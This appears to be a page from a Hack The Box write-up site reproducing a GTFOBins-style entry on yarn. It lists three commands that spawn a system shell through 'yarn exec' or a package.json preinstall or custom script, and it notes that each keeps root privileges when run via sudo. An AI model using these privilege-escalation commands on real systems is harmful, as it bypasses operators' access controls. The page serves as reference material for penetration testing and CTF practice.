~/bokkapig
hack the box machine writeups

yarn

Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    yarn exec /bin/sh
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    yarn exec /bin/sh
  2. This function can be performed by any unprivileged user.
    echo '{"scripts": {"preinstall": "/bin/sh"}}' >package.json
yarn --cwd .
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo '{"scripts": {"preinstall": "/bin/sh"}}' >package.json
yarn --cwd .
  3. This function can be performed by any unprivileged user.
    echo '{"scripts": {"xxx": "/bin/sh"}}' >package.json
yarn --cwd . xxx
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo '{"scripts": {"xxx": "/bin/sh"}}' >package.json
yarn --cwd . xxx